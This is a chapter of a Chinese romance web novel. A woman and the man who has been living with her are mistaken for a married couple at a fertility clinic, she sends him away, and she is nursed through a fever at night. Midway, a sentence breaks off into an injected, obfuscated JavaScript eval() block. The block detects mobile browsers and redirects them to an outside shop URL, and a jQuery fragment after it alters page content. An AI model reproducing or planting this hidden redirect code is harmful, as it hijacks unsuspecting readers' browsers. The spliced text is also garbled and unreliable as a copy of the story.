两人一同走进医生办公室复诊。
坐诊的女医生翻完最后一页报告单，抬眼看向面前的这对男女。男的高大体贴、神情温柔而专注；女的面色苍白，身形纤瘦。
医生自然而然地将他们当成了一对备孕未果的年轻夫妻，这种组合她在诊室里见得太多了。
“别着急，”医生将报告单搁到桌角，习惯性地开口安抚，“这次没怀上很正常，双方的身体指标都没什么大问题。放宽心，这种事最怕急，越急越不容易成。”
苏漾的后背倏地一僵，燥热从耳根处炸开，一路烧过脖颈，烫得她眼前发晕。
她想开口反驳，想告诉医生他们不是夫妻，想澄清误会，可是话到嘴边，嗓子却像被什么堵住了，一个字都挤不出来。
贺辞站在她身后半步的位置，脊背同样僵硬。他的视线落在桌面上那一角白纸上，喉结上下滚了一遭，吞咽了某种难以名状的情绪。
医生丝毫没有察觉两人的窘迫，继续细心叮嘱：“年轻人别太心急，情绪越是紧绷，内分泌越容易紊乱。回去之后作息规律一点，不要熬夜劳累，别喝冰的，少碰咖啡浓茶。至于同房的频率嘛……”
她抬眼扫了一下病历上的记录，“还算稳定，保持一周两到三次就很好，不用刻意加量，更不要掐着排卵期当成任务来完成。压力太大，反而会影响着床。”
每一句叮嘱，都像滚烫的烙铁，不偏不倚地落在两人空泛而暧昧的的关系上。
那些词句明明是对“夫妻”说的，却精准地刺穿了他们之间所有未经言明的、隐秘的日常。
苏漾咬住下唇，眼睫垂得很低，视线落在自己膝盖上，可余光里却始终逃不开贺辞的袖口。
他习惯把衬衫袖口卷到小臂中段，露出一截干净利落的腕骨。
她的视线触到那寸肌肤，立即像被火舌燎到一般弹开，胸腔里闷得发酸，酸意顺着食道往上涌，全堆积在眼眶后面，逼得她眨了又眨。
医嘱写满半页纸，医生又添了几味调理气血的药，逐一交代剂量和服用方法，最后把笔帽扣上，抬头冲苏漾笑了一下：“小姑娘气血偏虚，回去好好养一养。”
医生把药方推过来，目光顺势转向贺辞：“你这个当丈夫的得多上点心，每天给她煮一小碗红枣桂圆汤，早上空腹喝效果最好。晚上睡前用热水给她泡泡脚，泡到微微出汗再睡。”
“她要是不爱吃药膳，你就变着法子换食材，当归炖鸡、黄芪排骨汤、阿胶蒸蛋，轮着来，别让她吃腻了。”
贺辞站在一旁，听着医生一口一个“丈夫”地安排他。他没有纠正，点了点头，认真记下叮嘱。
医生继续说，语气轻快而笃定：“心态松下来，该吃吃该睡睡，很快就能如愿怀上的。你们俩看着就有夫妻相，差不了。”
“谢谢医生。”苏漾低声道了谢，嗓音干涩，每个字都裹着难以掩饰的窘迫。
两人拿了药单出来，电梯里并排站着，谁也不看谁。
取药窗口队伍很长，日光从医院落地玻璃涌进来，白晃晃刺眼，他们中间隔着半步的空隙，那点空隙里塞满了说不清的沉默。
回到家，门锁“咔嗒”落上的瞬间，苏漾转过身。她的面色出奇平静，下午那些慌乱和潮红已经收拾干净。
“贺辞，”她开口，声音轻而稳，“你现在收拾东西，马上搬走。”
贺辞身形一震，眼底满是慌乱与不舍。他向前迈了半步，急切开口：“漾漾，我知道我错了，我……”
“不用道歉。”她打断他，声音依旧轻，却锋利得不容靠近，“你没有资格留在这里，也没有资格再出现在我面前。”
她的恨意很浅，却密密匝匝。
恨贺辞越界，恨他明知她认错却从不点破，借着照顾的名义，肆意和她亲密纠缠，纵容这场荒唐持续二十多天。
可她更恨江屿川。
恨他自以为是的保护，口口声声说爱她、护她，却从没问过她愿不愿意。他亲手打碎了他们五年的婚姻，亲手将她推向了别人，亲手制造了这场无法挽回的错位。
他凭什么替她做决定？凭什么以为把她推给贺辞就是对她好？凭什么在她毫不知情的时候，把她的生活、她的感情、她的身体都安排给了另一个男人？
苏漾垂着眼，声音微微发颤：“我暂时不会去见江屿川，我现在没办法面对他，也没办法面对你们编织的这场骗局。”
贺辞看着她苍白疲惫的模样，心口刺痛。他想辩解，想挽留，想告诉她，他每一个越界的瞬间都是因为真的动了心而不是因为什么狗屁任务，可最终全部咽了回去。
他知道，此刻任何辩解、任何挽留，都只会让她更加疲惫、更加反感。
他转身走进卧室。
不过几分钟，他拎着简单的行李箱走出来，站在玄关处，深深看了一眼立在客厅中央的她。她的背影笔直，肩膀却还在颤抖，像是用尽了全部力气才维持住那个站姿。
“漾漾，我走了。你好好照顾自己。药按时吃，有任何事，随时给我打电话。”
门合上，脚步声沿着走廊渐渐远去，一切归于沉寂。
屋子里彻底安静下来。真正只剩下苏漾一个人。
她慢慢走到沙发边坐下来，膝盖发软。
空旷的房间里，处处是抹不去的生活痕迹。
餐桌上是他惯用的马克杯，厨房是他收拾干净的灶台，沙发是他常坐的位置，卧室里还残留着他的气息，淡淡的木质香，她闭上眼就能闻见。
接下来的几天，苏漾陷入了封闭的独处状态。
外卖盒摞在桌角，每一顿都只动了几筷子就搁下了。窗帘昼夜里都拉着，屋子沉在一片灰蒙蒙的暗色里。困了就睡，醒了就盯着天花板发呆。
她刻意清空记忆，可清晨温热的粥、深夜温柔的拥抱、山顶缠绵的吻、沙发上慵懒的依偎、浴室里细致的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863212|212106||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
照顾、睡前温柔的呢喃，总在意识松懈时涌回来。
昼夜颠倒，食量锐减，免疫力终于在第五天夜里崩盘。
凌晨两点，高烧来得毫无征兆。她浑身先是一阵滚烫，接着骨头缝里窜出寒意，四肢沉得像灌了铅，每一次呼吸都带着胸腔的钝痛。她蜷在被子里瑟瑟发抖，嘴唇干裂起皮。
意识模糊里她试图翻身找水，手臂却软得抬不起来。泪水不受控制地滚落，湿了枕巾，她喘着气，心里只剩一种近乎放弃的疲惫。
她以为自己会就这样熬一整夜，无人知晓，无人问津。
可迷迷糊糊间，她感觉到卧室的门被轻轻推开了。一道轻缓的脚步声走到床边，那种步伐节奏，她听过无数次。
微凉的手掌贴上她滚烫的额头，短暂停留，紧接着，温毛巾覆上来，慢慢擦拭她的额角、脸颊、颈侧，力道轻柔，耐心细致，一点点帮她物理降温。
毛巾重新打湿，拧干再覆上来，反复了不知道多少次。
她意识昏沉，眼皮重得掀不开，只能模糊感知身边有人守着她。
那人偶尔会停下来，用指背贴一贴她的脸颊试探温度。片刻后，他把她半扶起来，手掌稳稳托着她后脑，药片送到唇边，温水一点点喂进去。
苦味在舌尖化开，她皱眉想躲，那手掌便轻轻扶正她的脸，拇指擦过她嘴角溢出的水渍。
全程没有说一个字，可她认得那双手的触感，指尖替她擦过眼泪，掌心替她暖过冰凉的手脚，指节替她拢过散落的碎发。
她难受得不停落泪，眼角的湿意一次次漫出来。每一次，都会被人用指腹轻轻温柔地擦去，力度轻得像怕弄疼了她。
天亮时，烧退了。
阳光从窗帘缝隙漏进来，卧室安安静静。床头柜上一杯温水和两粒药片端端正正摆着，还压着一张便签：“记得吃药。”
皮肤上仿佛还残留着昨夜的触感，喉咙里有药的苦味。她盯着那杯水很久，心口酸胀得像要裂开，但没有哭。
她把便签折起来放进抽屉，端起水杯把那两粒药吞下去，药片滑过喉咙时的涩意让她清醒了很多。
接下来的一周，苏漾慢慢调整自己的状态。
她不再刻意沉溺内耗，开始按时吃饭，哪怕只是一碗清汤面，也逼着自己吃完。晚上十一点熄灯，早上把点拉开窗帘让阳光涌进来。
她出门散步，沿着小区后的河堤走很远的路，风吹在脸上时脑子里那些混乱的画面会暂时安静下来。她一点点收拾凌乱的屋子，处理一切有关他的痕迹，还换了一套新的床品。
逃避只会让伤口化脓，她必须去见江屿川，把五年的婚姻当面清算。
亏欠也好，误会也好，伤害也好，得有一个句号。她欠自己一个交代，欠那五年时光一个郑重的告别。
她站在穿衣镜前，看着镜子里那个面色虽然还有些苍白，但眼神已经重新清亮起来的女人，慢慢挺直了脊背。